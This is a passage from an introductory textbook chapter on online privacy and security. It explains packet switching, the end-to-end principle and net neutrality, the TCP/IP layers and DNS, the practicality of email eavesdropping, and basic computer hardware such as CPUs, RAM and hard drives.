in the Chicago area downloads three large forms in a row from the IRS 
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website in the Washington, DC, area, it may be that the first form travels
Washington–Pittsburgh–Cleveland–Chicago, the second Washington– 
Columbus, OH–Chicago, and the third Washington–Boston–Cleveland– 
Chicago. Indeed, individual packets of one form might in principle travel 
over different routes. No dedicated Washington to Chicago connection
over some fixed set of links is ever established. Before mobile phones, the 
Internet and almost all LANS were the two most important examples of
packet-switched networks; now we need to add mobile phone data traffic
networks: 4G, 3G, and the older GPRS (general purpose radio service).* 
Packet switching is a much more efficient way to route traffic over a 
communications network because it takes advantage of a big part of most 
conversations: silence. When there are fractions of a second, or even whole 
minutes, when neither party is speaking, other traffic can travel over the 
same links. Typically, transmission of circuit-switched data is billed by  
time unit (e.g., a phone call billed by the minute) while packet-switched 
data transmission is billed by the amount of data transferred. Of course,
companies selling directly to consumers use all sorts of pricing schemes— 
for example, providing flat-rate monthly pricing because consumers seem 
to have a strong preference for flat-rate pricing. 
Packet-switched networks are also more resilient against failures or
attacks on a single point. In an old-fashioned telephone network, taking out
the central exchange for a town destroys all communications between any
two phones in the town. With packet switching, if one node is gone, other
pairs of nodes can still communicate by other routes. Resilience against both
hardware failures and enemy attacks was one of the original design goals of
the original ARPANET, which was, after all, a project of the US military. 
End-to-End Principle and the “Stupid” Network 
The Internet is more than packet switched. It is a “stupid” network that fol­
lows the end-to-end principle that was first explicitly enunciated as an engi­
neering design principle for the Internet by Saltzer, Reed, and Clark in the
early 1980s. The end-to-end principle states that, when there is a choice about
where to take any particular discrete action that makes up part of an overall
communication, that action should be taken by one of the two computers at
either end of the communication, rather than by the computers along the
path between the two end points. Saltzer et al. originally enunciated this
* 	 Incidentally, a key distinction between 3G and 4G mobile phone systems is that in 3G voice traffic 
is circuit switched but in 4G both voice and data traffic are packet switched. 
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principle simply as an engineering rule of thumb—that is, as a design rule
of the form: “When you have a choice to make that could go either way, it
generally works out much better if you make thus-and-such choice.” 
The original reason for this end-to-end principle was purely technical.
The idea is that, in a packet-switched network, the end points usually will
have to take a certain step to ensure that the overall communication was 
successful, so having the intermediate routers take that step as well simply
adds cost (which might be in terms of more expensive hardware, greater 
delay, or reduced capacity). By way of analogy, imagine that Bob is driv­
ing over wintry roads from Buffalo to a particular address in Chicago,
and that he has promised his mother in Buffalo to verify to her that he
has safely arrived in Chicago once he has, in fact, done so. Now Bob could 
stop at every highway rest stop along the way and place a call to his mother 
saying, “Mom, I’m still okay. I haven’t skidded off the road yet!” However,
Bob would still need to call his mother again once he reached his Chicago 
destination, because none of the calls from intermediate destinations give
proof of his ultimate safe arrival. So, if all Bob wants to do is to reassure
his mother that he has indeed reached his final destination, he can achieve 
that goal with a minimum amount of communication cost by calling once
from the end point of his journey. 
One of the effects of following the end-to-end principle is that the net­
work may as well be “stupid” or, more accurately, “stupid in the middle
and smart (only) at the end points.” That is, because the routers in the 
middle are not called upon to do very much, those routers can be very
simple, very inexpensive machines—indeed, machines much less sophis­
ticated than any contemporary low-end cell phone. In this regard, we can
contrast the Internet to the sophisticated US land-line telephone system 
of the 1980s. The Internet has routers that may be extremely stupid in the 
middle and very sophisticated computers at the end points. The AT&T
phone system, on the other hand, had very sophisticated switches in its 
middle, with very stupid handsets at its end. 
The end-to-end principle turned out to have policy benefits that were
likely unforeseen when it was first enunciated. The legal scholar Larry 
Lessig identifies the end-to-end principle as the most important principle 
of the Internet.* Lessig lists two advantages of the end-to-end principle†: 
* 	 Interestingly, in all the scholarly computer science and engineering literature we are familiar with, 
the end-to-end principle is always mentioned as among the important principles of the Internet, 
but something else, such as robustness, is always chosen as the most important principle. 
† Lessig actually lists three, but for our purposes they really boil down to two. 
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First, new applications of the network, perhaps applications not even
envisioned at the time of the network’s design, will work without 
having to make any changes to the network. (Lessig is probably 
mildly overoptimistic here, but certainly the end-to-end principle 
increases the chance that a new application can work without chang­
ing the network.) 
Second, the network treats all packets equally, so there is nothing that
the network can do to discriminate against a new popular applica­
tion in favor of a more profitable, established application. 
The broad end-to-end principle is still followed today, and is generally 
still well thought of by both policy experts and technologists. That is, it
is well thought of by those who see it as an engineering principle that is
only loosely related to the ongoing fierce debate over net neutrality, and 
by those who see it as tightly tied to net neutrality and who favor net neu­
trality. Here, by net neutrality we mean the principle that neither ISPs
nor governments should be able to limit consumers’ abilities to use the 
Internet based on content, hardware, or software. For example, net neu­
trality would imply that your ISP, who may also be your local cable televi­
sion provider, should not be able to slow or otherwise limit your access to
streaming Netflix movies. As of this writing, there is considerable political
controversy surrounding net neutrality in the United States. 
One issue in the net neutrality debate is whether it is necessary to violate 
the end-to-end principle to provide high-quality service to some kinds of
services with special requirements. For example, voice telephony over the
Internet requires low delay time in the delivery of all packets. It might be
the case that it is too expensive to meet these requirements for all Internet 
traffic, but feasible to do so for some services by making “the middle of 
the Internet” treat certain services’ packets differently. However, some
experts, such as Princeton University computer scientist (and former US
Federal Trade Commission chief technologist) Ed Felten argues that such 
situations do not arise in practice.3 
Meanwhile, there is agreement that there is at least a slight tension
between the end-to-end principle and security. Today’s Internet users
very much want some communications blocked. For example, fire-
walls—devices used by almost all corporate and many private end users
to block traffic that gives signs of containing malware—can technically
be considered a violation of the end-to-end principle. We will return  
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to the conflict between the end-to-end principle and certain computer
security goals in Chapters 9 and 10, when we discuss a potential role for
ISPs in combating malware. 
A More Technical View 
The basic picture of the Internet we have is that one computer takes data it
wants to transmit to another and splits them up into a sequence of pack­
ets, and sends those packets out one by one addressed to the destination 
computer. Each packet travels from the first computer to one of its neigh­
bors, and then to one of that neighbor’s neighbors, and so on, heading in
the general direction of the destination, until the packet finally arrives at
its destination. 
Now it is time to talk about more of the details: What size are the pack­
ets? What form are the addresses in? Can just any machine along the way 
read the contents of the packets making up my e-mail to my parent, child,
or lover? (yes, actually, though it is not quite as simple as it may sound)
What role does the phone company or cable company you hired as your
ISP play in all this? 
There are two different views we can take of the Internet, and each 
answers some of these questions. The first is what we will call a horizontal
view, because it describes how the Internet spreads out across the United 
States and the world. The analogous view of the road network is the one 
where we think first about the driveway or little internal roadway of a 
home, shopping plaza, or business, then about the local roads, and eventu­
ally about the US interstate highways. The second view is of the technical 
details, analogous to questions such as how vehicles’ engines and traffic 
lights work for the road network. We will call this a vertical view, because 
computer scientists think of the various protocols that give the technical 
rules as being structured in a set of layers, one on top of the other. 
Horizontal View: One Home’s LAN to the Backbone 
As recently as 1990, one could speak of the US Internet’s various links that
collectively covered the country as being arranged in three hierarchical
groups that were pretty well defined. The national coverage was a conse­
quence of the National Science Foundation’s (NSF) decision to extend the 
Internet to all US science and engineering researchers. NSF funded the 
creation of a national high-capacity (very) wide area network (WAN) with
links from, for example, Chicago to Cleveland, St. Louis, and the West 
Coast. This formed the backbone of the Internet. The transmission lines 
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were leased from MCI, and IBM provided the computers, but this back­
bone belonged to the federal government. The NSF also created a series
of regional WANs referred to at various times as either NSF Regional  
Networks or NSF midlevel networks. Finally, an organization would run
its own internal network(s) and connect its network to a nearby NSF mid-
level network. If we like, we can think of the individual users of the com­
puters as a fourth group. 
By way of illustration, imagine that in 1990 a researcher at NASA’s Jet
Propulsion Lab (JPL) in the Los Angeles area wanted to send an e-mail
to these recipients: a colleague at NASA JPL, a professor at University
of California at Santa Barbara, and another professor at MIT in Boston. 
All three copies of the message would begin their journey on JPL’s inter­
nal network. The one addressed to the JPL colleague would never leave
that network. The one addressed to U. C. Santa Barbara would leave the 
JPL network, travel across the midlevel network that both JPL and Santa 
Barbara connect to, and through U. C. Santa Barbara’s internal network 
to its destination. Finally, the message to MIT would travel from JPL’s net­
work onto the midlevel network, connect to the backbone at a juncture
between the midlevel network and the backbone somewhere in south­
ern California, travel the backbone from California to a juncture with a 
midlevel network somewhere in the vicinity of Boston, then along that
midlevel network to its connection to MIT’s network, and finally through 
MIT’s local network to its recipient. 
The Internet grew too large for the federal government to continue pay­
ing for it. Today the infrastructure of the Internet in the United States
is privately owned. One can still speak of these various levels, but it is
not as clear-cut. Today the backbone would be the highest capacity links,
which are presumably all or almost all owned by the largest so-called tier 
1 Internet service providers (ISPs), such as AT&T. A common definition 
of a tier 1 ISP is that it is an ISP that does not pay any other ISP to take 
traffic from it. Tier 1 ISPs peer with other major ISPs—that is, they agree 
that each will take the other’s traffic for free—and provide transit service 
for traffic to and from smaller ISPs for a fee. Tier 2 or regional ISPs pay 
for service from a tier 1 ISP and then resell their services to smaller ISPs. 
Tier 2 ISPs often have peering agreements with other tier 2 organizations.
Local or tier 3 ISPs purchase service from tier 2 ISPs and provide service 
only to end users. 
Today’s situation is somewhat muddy, however. AT&T almost certainly 
does not pay any other ISPs to carry its traffic and certainly owns some
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very long, high-capacity links. However, AT&T also sells directly to indi­
vidual home users, currently offering medium-slow home broadband ser­
vice in some places for $20 or $25 a month. Also, not everybody uses the 
terms “tier 1,” “tier 2,” and “tier 3” in exactly the same way, and it can be 
difficult for a private individual to find out which large ISPs make pay­
ments to other large ISPs or even precisely what company owns what links. 
Vertical View: Internet Protocol Suite 
Now we turn to the vertical view of the Internet. The key thing that has 
made the Internet, this network of networks, function so well is an agreed, 
free, open set of rules for the software that passes the packets of data
around. Each individual rule is called a protocol, and there are many pro­
tocols. The whole collection of protocols has become known by the initials
for the two most important protocols, the transmission control protocol 
(TCP) and the Internet protocol (IP). The whole collection is referred to by
insiders simply as TCP/IP (pronounced by saying the name of each letter:
“T-C-P-I-P”) or, more formally, the Internet protocol suite or the TCP/IP
Internet protocol suite. 
A conceptual tool that lies at the heart of computer science is abstrac­
tion or, more precisely, the layering of abstract ideas. An analogy would 
be that a civil engineer planning a highway roadbed thinks mostly about 
the level of concrete and its properties, thinks a little about the immediate 
level below of chemical properties of the direct ingredients of the concrete, 
and does not think at all in designing the roadbed about how those chemi­
cals are made up of molecules, in turn made up of atoms, in turn made up
of electrons circling a nucleus, and so on. The key to good layering is that
when we are doing design or analysis at one level, we need to think about
only that one level plus a small number of features of the level immediately 
below. All other details can be ignored. 
Computer scientists and engineers concerned with computer networks
and especially the Internet think about computer networks and especially 
the Internet in terms of layers. Different important textbooks and organi­
zations have split the consideration of the Internet into four, five, or seven 
layers. For our purposes, four suffice. 
The bottom of these layers concerns very low-level matters involving 
the wires, fibers, or radio waves that data travel on and the special internal
hardware address a computer presents only to its own network. It will not 
concern us further. The three remaining layers are the Internet layer, the 
transport layer, and the application layer. 
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Internet Layer 
The Internet layer is the key to the Internet, “the fundamental communi­
cation service of the Internet.”4 It has one protocol: the Internet protocol, 
more commonly referred to as IP. What is special about IP is that every
device connected to the Internet—all the computers at the edge and all the 
routers—all run IP. The Internet has an hourglass architecture. At the
wide bottom of the hourglass, the bits may be moved over copper wires,
fiber-optic cables, or from Earth to satellite to satellite and back to Earth. 
At the wide top, data may follow the appropriate protocol for e-mail, for 
web pages, or for BitTorrent. But at the narrow waist of the hourglass,
there is only IP. A typical router does not run or understand any protocol 
at any level above IP. This is a key reason that routers can be simple and 
inexpensive. (In recent years the situation has become slightly more com­
plex, and one author complained half in jest and fully in earnest that there 
is a problem today that the Internet is entering middle age and developing 
a thickening of its waist. For our purposes, however, it is appropriate to
think of IP as the only protocol at the Internet layer.) 
One of the most important features of IP is that it assigns a unique 
address, called an IP number, to every computer (edge or router) on the 
Internet. These addresses are conventionally written in the form of four 
numbers each in the range of 0 to 255, joined by periods. For example, the 
IP address of the web server for University of Illinois at Chicago (www.uic. 
edu) is 128.248.155.210. (We will come to the issue of associating names to
IP numbers shortly.) 
Every IP packet has a header specifying the original “from” IP address
and the intended eventual “to” IP address. This is the essence of packet
switching: There is no “connection” between the source and destination
computers. When a router receives an IP packet, the job of that router is
to send it onward to some other router that it is connected to that is in 
the general direction of the “to” address. It may happen that a router is
receiving packets at a faster rate than it can process them and send them
onward. Each router has at least a little storage, so if it cannot handle a 
packet immediately, its first response is to start storing packets. However,
that storage can completely fill up if packets come in at a faster rate than
the router can send them on. This is not at all uncommon. In this case,
the router simply throws away packets it cannot handle, and those pack­
ets are never delivered. Thus, the only service the IP protocol is provid­
ing is a best-effort attempt to deliver packets from their source to their 
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destination, which may or may not succeed. However, this is not a design
oversight or defect. IP is not intended to work alone. The issue of what  
happens if packets are not delivered is handled at the next level up. 
This unreliability leads to different terminology for the individual
blocks of data sent at the IP level. In technical writing they are called data-
grams rather than packets. The term datagram is used to refer to packets
that have two related characteristics: First they may go undelivered; sec­
ond, they have no associated mechanism to let the sender know whether 
the packet was received. We will see in a moment that at the next level up
(the TCP level), there is an acknowledgment of receipt returned from the
receiver of packets to the sender. As we noted earlier, two different data-
grams sent from the same IP address to the same destination IP address
may travel via different routes. One key reason for this is that each router 
maintains some crude statistics about how busy each of its neighbors has 
been just lately, basing its decision on where to send datagrams on both
the intended destination and current network congestion. 
The version of IP we have just described is known as IPv4. As of this
writing, the world is at the beginning of a transition from IPv4 to the 
next version, IPv6. One reason for the transition is that IPv4 provides
for only about four billion total IP addresses, and we are going to run
out soon.* The need for more than 4 billion addresses is one sign of how
much things have changed from the time IP was designed (1970s, with
minor tinkering through the early 1980s) to today. Another is that IP has
absolutely no security provisions. For example, there is no checking of
the “from” addresses on packets, so it is easy for somebody knowledge­
able to forge them. 
Transport Layer 
It is at the transport level that the notions of a connection between two 
computers—indeed, between processes on two computers—come into
play and that reliability becomes a concern. The transport layer and indeed 
the application layer above it exist only at the computers at the edges. For 
all the routers in the middle, there is no such layer. 
The most important protocol at the transport layer is the transmission
control protocol, more commonly referred to as TCP. TCP establishes a 
* 	 It was originally thought that IP addresses would be exhausted before 2010, but this turned out not 
to be the case. One reason the supply of IP addresses has lasted until now is that since about 2000
ISPs have moved from providing home users with one IP address per computer to one, occasion­
ally changing, IP address per household. 
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connection between a process, such as a web browser, on one computer 
and a process, such as a web server, on another computer. That is to say,
when you use your web browser to go to some page at Facebook, the con­
versation begins more or less literally by your web browser sending to
Facebook’s web server the TCP message, “Hello! This is the web browser 
from thus-and-such IP address, and I’d like to connect for a moment to
request Facebook’s web server (or in technical terms, to ‘Port 80’).” By 
way of contrast, IP delivers datagrams to a particular computer, specified 
by IP address, with no idea whether those datagrams should go to a web 
browser; to a mail reader, such as Microsoft Outlook or Apple Mail; or to
some other process. 
TCP features a specified back-and-forth exchange of messages to open
the connection (called a handshake), acknowledgment of receipt of pack­
ets, and retransmission if that acknowledgment is not received. Also, there
is a numbering of all the data being sent, to allow the receiver to recon­
struct the original data if the packets arrive in a different order than that
in which they were sent or some packets have been split along the way. A
very clever feature of TCP is that a TCP sender constantly adjusts the rate 
at which it sends data in an attempt to transmit at the maximum speed 
that will not cause traffic jams, which, on the network of the Internet, just 
like on the network of major roads of any large city, can lead to very large 
increases in travel times. 
The second most important protocol at the transport layer is the user 
datagram protocol (UDP). As the word “datagram” implies, UDP does not
provide any information about whether the datagram has been delivered 
or lost. TCP is analogous to sending mail return receipt requested, and 
UDP is analogous to just putting the mail into a post office box and hoping 
it gets there. TCP is more widely used, but in some situations UDP can be 
preferable because of two advantages: First, UDP allows for one-to-many 
broadcast of a message to lots of computers, unlike TCP, which pro­
vides only one-to-one communication between two different computers.
Second, UDP involves somewhat less overhead, because TCP conversa­
tions begin with a few rounds of back-and-forth handshake communica­
tion before the main message, but in UDP the main message is all there is. 
One thing that UPD and TCP have in common with each other and IP
is that they have absolutely no security provisions. TCP was designed in
the 1970s; UDP’s design was completed in 1980. In that era, networking 
was something that happened between servers in locked machine rooms,
and today’s security concerns simply did not exist. 
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Application Layer 
Finally we come to the “top” layer, the application layer. As with the trans­
port layer, the protocols at the application layer exist only at the end point 
computers—not on the routers in the middle. Any security, including any 
encryption, that is provided for any Internet application comes exclusively 
at this layer. Some of the best known protocols at this level are the following: 
Hypertext transfer protocol (HTTP) for web pages 
Post office protocol (POP) and Internet message access protocol (IMAP): 
the two common protocols for receiving e-mail with an e-mail
program (e.g., Microsoft Outlook, Apple Mail, or Thunderbird, as
opposed to reading e-mail using a web browser) 
Simple mail transfer protocol (SMTP): for sending e-mail using an
e-mail program 
Domain name service (DNS): for translating in both directions 
between IP addresses such as 128.248.155.210 and host names such
as “www.uic.edu” 
Many other application-layer protocols exist for such things as instant 
messaging, various forms of voice over IP (VoIP) telephony, transferring
files, and various forms of sharing files, such as BitTorrent. 
Most of these protocols rely on a client–server model, meaning that the 
applications at either end of a communication consist of one client and one 
server. Typically, the client application runs on an end user’s computer, 
may or may not run continuously, and requests the start of the commu­
nication. Typically, the server runs on a powerful computer dedicated to
running the server, runs continuously, is always ready to accept incom­
ing connection requests, and can handle many such requests simultane­
ously. For example, for the HTTP protocol for the web, the clients are the 
web browsers (e.g., Internet Explorer, Firefox, or Chrome) running on
end users’ computers, and the servers are run by those hosting websites.
Incidentally, computer manufacturers have come to use the term server
also to mean a powerful computer capable of acting as a server. 
How the Layers Work Together: Packet Encapsulation 
Now that we know about the four layers of the TCP/IP model, we could 
rephrase the end-to-end principle that we discussed earlier as, “Only 
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computers at the end points of the Internet should know anything about 
the application or transport layers.” From the point of view of any router 
or other computer in the middle of the Internet, all that exists is an IP
datagram with an IP header that is examined and a payload (most often 
a TCP packet) that is not examined. (The computers in the middle may or
may not concern themselves with the lower level hardware details of the 
bottom or link layer.) 
The overall process is referred to as  packet encapsulation, and we
illustrate it in Figure 2.2, where we show how a website containing the 
contents of Dickens’s A Tale of Two Cities would transmit that web page
to your computer if you requested it. The website needs to send you a 
whole lot of text, consisting of several lines of the HTTP protocol that
begin, “HTTP/1.1 200 OK,” followed by the text of the web page, which 
will be a mix of HTML commands and the text of the novel. All that text
will be broken into many pieces. Each piece will be the payload of a TCP 
packet that will also have a TCP header containing, among other things, 
the number of the TCP packet in the sequence that makes up the entire
transmission and the source and destination port numbers. That TCP 
packet in turn becomes the payload of an IP datagram, together with the 
IP datagram header. The IP header contains such data as the source and
destination port numbers and the type of protocol of its payload (in this
FIGURE 2.2 Packet encapsulation in the four-layer TCP/IP model, illustrated for 
the transmission of a web page. Each packet of one layer is encapsulated inside 
a packet at the next lower level, together with header and/or footer information. 
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case, TCP). Finally, the IP datagram is encapsulated inside a packet of the 
lowest level (the link level). 
Now we turn to a loosely related, but important subject: the translation 
between website URL names, such as www.gutenberg.org (which has cop­
ies of most off-copyright works, including A Tale of Two Cities) and their 
IP numbers, such as 152.19.134.47. 
Numerical Addresses to Names: DNS 
The domain name service (DNS) acts as a phone book (and reverse phone 
book) for translating in either direction between globally unique IP
numbers, such as 208.80.152.2, and globally unique host names, such as
en.wikipedia.org. Every time you use an e-mail address such as Richard@ 
gmail.com or a web URL, such as en.wikipedia.org, you are making use 
of DNS. 
Individual computers with connections to the Internet are referred to
as hosts. Each host has an IP number, but human beings, of course, find it
much easier to work instead with the host name, such as en.wikipedia.org. 
The host names are combined names, going from most local and specific 
to most general. The last part of a host name is one of a group of top-level
domain names that include the well known .org, .com, and .edu, as well as
country codes, such as .cn for China and .ca for Canada. 
The DNS system is a distributed, hierarchical system. To get a name– 
number translation, a computer will begin by asking a nearby DNS server 
for a translation. That DNS server will have stored many of the common
pairings and will answer that query if it can from its stored information. 
If not, it asks a “higher” DNS server. The system eventually stops with one 
server for each top-level domain. (In fact, because they handle so much 
traffic, the top-level domain name servers are probably implemented by a 
small group of computers, but conceptually it is one.) 
As with the transport layer, DNS dates to before today’s security prob­
lems, as the basic design of DNS was completed in 1983. Because DNS 
is involved with such a large number of Internet communications and  
because it does not have robust security built in, it has been a very frequent
point of attack. 
Putting It All Together 
As a way of summarizing what we have discussed, let us return to the ques­
tion we asked in the introduction to this section: How easy is it for a small 
company to eavesdrop on various e-mail conversations? It is easy (and, 
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incidentally, legal in the United States) for the company to read e-mail
entering and leaving the company’s mail system. A small company will
typically have one connection to the Internet, and all Internet traffic will
pass through that connection. The company can simply monitor all traffic 
over that connection, though, as a practical matter, the company would 
probably prefer to install monitoring software on each of the employees’ 
computers, because there is some technical difficulty in reassembling cop­
ies of the IP datagrams going across that connection to the Internet into
coherent e-mails. Monitoring the in-and-out traffic is relatively easy, but 
monitoring the e-mail flowing by on the Internet is a totally different mat­
ter. Even if we assume that a company can tap some link on the Internet 
itself, it is not really practically possible for it to reassemble e-mails from
the random jumble of packets going by. 
This is not to say that nobody can read the e-mail you send. First,
whatever organization provides your e-mail service, be it your employer,
Google, Yahoo!, or Microsoft, is in the position of the small company.
Indeed, Google does automatically read Gmail users’ e-mail so that it
can place targeted ads next to each e-mail. That is how Google makes
money from Gmail. Second, given enough resources, in terms of both
ability to tap Internet links and computing power to reassemble IP data-
grams, it is certainly in principle possible to reconstruct e-mail. There
are some indications that the US National Security Agency may indeed
be doing this. 
PRIMER ON COMPUTERS 
In the first half of the twentieth century, automobiles went from being 
used by only a few hobbyists, who had to know a good deal about the 
inner workings of autos just to be able to keep them going, to being used
by most adults, most of whom knew very little about how autos work.
Something very similar occurred with computers in the second half of
the twentieth century. Almost everybody knows how to “drive” a com­
puter, but very few are knowledgeable about how the “engine” or the 
“brakes” actually function. These transformations of automobiles and 
computers were both great things. The world would be worse off if autos 
were usable only by people with a lot of mechanical-engineering knowl­
edge and, similarly, if computers were usable only by people with a lot of 
computer-engineering knowledge. 
However, in order to understand computer security threats and related 
threats to privacy, it is necessary to understand something about the 





32  ◾ Unauthorized Access: The Crisis in Online Privacy and Security 
inner workings of computers. So we will give a brief overview of how a 
computer works. 
There are two more or less independent parts of our description: the 
hardware—that is, the basic physical elements—and the fundamental 
software—that is, the operating system. 
Before we launch in, let us say a few words about the historical ori­
gins of computers. The modern general-purpose electronic computer was
invented either in 1939 or 1946. Why two dates? Because there is a histori­
cal dispute. There is no dispute that in 1939 Atanasoff and Berry built what
has come to be known as the Atanasoff–Berry computer (ABC) at Iowa 
State University and that the ABC was a prototype of an electronic digi­
tal computer. The dispute is about whether the ABC was general purpose 
enough to be considered a true computer as we have come to understand
the term. If one does not believe the ABC qualified as a true computer, 
then the first electronic computer was the ENIAC, begun as a secret war 
project in 1943 at the University of Pennsylvania and completed in 1946. 
Photos of the ABC and ENIAC are shown in Figures 2.3 and 2.4. The dis­
pute over which of these was really the first true computer will probably 
never be definitively settled, though interestingly it was settled as a matter 
of law. In the 1970s there was a patent fight connected to the ENIAC that
resulted in a federal court finding that Atanasoff had invented the first 
electronic computer. Now we will move on to contemporary computers. 
FIGURE 2.3 A 1939 photo of the Atanasoff–Berry computer. (Used with permis­
sion of Iowa State University, Parks Library Special Collections.) 
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FIGURE 2.4 The ENIAC computer in the late 1940s (US Army photo). 
Basic Elements of a Computer 
Let us return to our analogy between cars and computers. In this section
we will explain the physical components of a computer, aiming for a level 
of detail analogous to the level of detail about cars of a fairly knowledge­
able auto purchaser. 
All computers are made up of the same basic elements. The best known 
examples of computers today are probably Microsoft Windows and Apple 
Macintosh laptops and desktops, but these same basic components also are 
in other computers, such as those computers known as smartphones or
each of the several special-purpose computers in any late model automobile. 
You can think of the computer as a person, in that a computer has parts 
for input, output, and thinking, and “thinking” can be subdivided into
pure thinking, working memory, and long-term memory. For a person, 
the inputs come through the five senses; the outputs are such things as
moving an arm or a leg, and the brain is responsible for thinking and 
memory. Human memory in turn consists of short-term or working
memory, which, for example, remembers that a friend just asked us for 
the birthdates of our two children while we think of the answer, and long-
term memory, where (we hope!) those two birthdates are stored. 
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Every computer has one or more input devices, such as a keyboard, 
mouse, touch screen, or track pad, and one or more output devices, such 
as a laptop’s LCD screen, an external monitor, or speakers. Then there are 
three key internal elements, corresponding to “thinking,” working mem­
ory, and long-term memory: 
• 	First (corresponding to “thinking”) is the central processing unit
(CPU). This is the hardware that actually carries out arithmetic and 
logic operations, such as adding 1 and 1 to get 2, or testing whether 
some value is greater than or equal to 0. The key job that the CPU 
carries out is to read and execute the instructions of the software. 
The main way one measures the quality of a CPU is by how quickly 
it can read and execute those instructions. 
•	 Next (corresponding to working memory) is random access mem­
ory (RAM), or main memory, or sometimes simply memory. This
memory is connected directly to the CPU and can be thought of as
being like many numbered slots, each of which can hold one small 
piece of information. RAM is the working memory of the computer. 
The contents of RAM are lost whenever the computer is powered off. 
• 	Finally (corresponding to long-term memory), we have the hard
drive or hard disk, which serves as the long-term memory. It can 
hold between 50 and 1,000 times more data than the RAM, but it
takes the CPU much, much longer to access the hard disk than the 
RAM, making the hard drive unsuitable for working memory. The
hard drive maintains its memory when the computer is powered off. 
Before continuing to describe the CPU and the other two components,
we need to introduce a little bit of jargon, such as one might find on the 
shopping web page of Dell or Apple. Computer engineers use a series of
prefixes to describe quantities. The same prefix is used for two slightly 
different quantities, one that is a power of 10 and one that is a fairly close 
power of 2. Usually the prefix that is a power of 10 (that is, that ends with
a bunch of zeros) is used for speeds, such as the speed of a CPU or the 
rate of data flow in a network, and the one that is a power of 2 is used for 
amount of information. As a fast example of these prefixes in action, Dell
might advertise that it is selling an inexpensive laptop with either an Intel
or AMD CPU with a speed of 1.80 gigahertz with 1024 kilobytes (equal to 1
megabyte) of L2 cache, available with the buyer’s choice of 2 or 4 gigabytes
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Prefix Corresponding Number 
Kilo (k) 1,000 or 1,024 
Mega (M) 1,000,000 or 1,048,576 
Giga (G) 1 billion or about 1.07 billion (2 to power 30) 
Tera (T) 1 trillion or about 1.1 trillion (2 to power 40) 
of RAM, and various sizes of hard drive ranging from 320 gigabytes to 1
terabyte. (We’ll explain what most of that means shortly.) 
The prefixes in current frequent use are given in Table 2.1. 
The first application of these prefixes is to measure the speed of CPUs. 
CPU speed is measured by the number of steps the CPU’s internal clock 
takes in 1 second. The basic unit is the hertz, which is one step (or cycle)
per second. As of this writing, CPUs for laptops and desktops typically 
have speeds in the range of 1.5 to 4 gigahertz (GHz)—that is, 1.5 to 4 bil­
lion cycles per second. The main manufacturer is Intel, with AMD being 
in second place. The speeds and manufacturers of CPUs for other devices,
such as smartphones, are often different. 
The part of the CPU that actually reads and executes instructions is
called the core. Recently the trend has been to put several cores on the one 
CPU chip at the heart of a computer. As of this writing, two-, four-, and 
six-core CPUs are all quite common. For example, these words are being 
typed on a laptop with a 2.66 GHz Intel processor with two cores on the 
chip (Intel’s “Core 2 Duo”). The reason that multicore CPUs have become
popular in the last few years is that we appear to be at the end of several 
decades of constant improvements in the speed of CPUs. People often state 
Moore’s law, named after Gordon Moore, the cofounder of Intel, as, “CPUs 
will double in speed every 1.5–2 years,” but in fact, what Moore really said
was that CPUs would be able to contain twice as many transistors every 
1.5–2 years. 
While for now the transistor count is still going up (although this will
come to an end in a few years), speed has stopped increasing, primarily 
because increased speed means increased heat generation, and computer 
engineers have run out of ways to dissipate additional heat. Hence, today 
multicore CPUs are becoming prevalent. As of today, it is unclear how
much multicore CPUs will speed up computing. If you make a CPU four 
times faster, then your software automatically becomes four times faster, 
but if you give your CPU four cores instead of one, then your software 
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becomes faster only if it is written to take advantage of the four cores. For 
now, writing such software is a difficult, case-by-case business that suc­
ceeds only for certain types of software. 
Incidentally, even for one-core CPUs, clock speeds only tell the com­
puter consumer a certain amount of the story. Although it is a safe bet that
a 3.2 GHz machine from Dell will be at least slightly faster than a 2.6 GHz 
machine in the same product line from Dell, a 3.2 GHz machine from Dell
might be faster or slower than a 2.6 GHz machine from HP or Sony. There
are several reasons why the number of clock cycles per second does not
tell the whole story about how fast a computer executes its instructions. 
One reason is that different computers may use different instructions of
different power, and another is that various instructions may use different 
numbers of clock cycles. 
Now let us consider the RAM, the working memory of a computer. This 
is the computer’s equivalent of a scratch pad on which you might write 
down partial results and notes to yourself while you were working on a 
complicated mathematics or finance problem. For a consumer, the two key 
attributes of RAM are, first, how much data it can hold and, second, how 
quickly the CPU can access the data. Consumers usually focus on the data
capacity, because there are not usually huge differences in the access speed 
for RAM being used in a particular category of computers (such as budget 
laptops) at any given time. 
Data capacity is measured in terms of bytes. All information in com­
puters is ultimately represented by zeros and ones. Each individual zero or
one is called a bit, and all computers manipulate groups of 8 bits, called a 
byte. A byte is enough storage to hold one character. We will discuss bits, 
bytes, and representations more thoroughly later in this chapter in the 
“Primer on Data, Databases, and Data Mining” section. As of this writing,
the typical consumer laptop or desktop comes with 2 to 8 gigabytes (GB)
of RAM, and some higher end consumer computers might have 16 GB of
RAM. From the point of view of the user, often the amount of RAM makes 
more difference in how fast the computer seems than the clock speed. We
will briefly discuss why this is so after we talk about the hard drive. 
The hard drive represents the long-term memory of the computer. A 
single internal hard drive for a computer may hold anywhere from 64 GB
to 2 TB. Traditionally, a hard drive has consisted of rotating magnetic
plates. This is what you will see as of the time of this writing on many 
consumer computers and on full-size iPods. Smartphones, many rela­
tively expensive laptops, and the small iPods (the “shuffle” and the “nano”) 
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instead use newer technology—lighter weight solid-state hard drives with
no moving parts. In a few years’ time, as their prices drop, solid-state hard
drives will be all that is found in laptops. Regardless of the technology  
used, hard drives serve two related purposes. First, they are where all your
data live: your documents, your music, your photos—everything. Second,
the hard drive is where the main memory gets anything it needs to work 
on and saves anything it wants to keep around for the long term. The hard
drive and the main memory represent a trade-off between speed and price. 
Hard drives are much cheaper in terms of cost per megabyte. However, it
takes much longer to transfer a byte to or from the hard drive than to or
from the main memory. 
That, by the way, is why the amount of main memory can often be the
determining factor in the amount of time it takes a computer to do a diffi­
cult task. If there is not enough main memory, then the CPU must repeat­
edly write out the contents of the main memory to the hard drive to free 
up the main memory for use as a working scratchpad.* 
There are two more pieces of hardware that are often referred to in
computer advertisements and so worth mentioning briefly. One is cache,
which is a small amount of very fast memory, typically 3–12 MB, right 
on the CPU chip itself. (Cache can be further specified by level, such as
L2. You may see this in advertisements.) The second is the graphics card
(also called video card). This is an additional special-purpose chip roughly 
similar to a CPU, but dedicated to displaying graphics on a screen, which 
is a very computationally intense task. Its processor is often referred to as a 
“graphics processing unit,” or GPU. Typical home and office users are rea­
sonably happy with whatever graphics card comes with their computer for 
such purposes as watching DVDs, working with photos, etc., but serious 
computer gamers can be very particular about their graphics card. Indeed, 
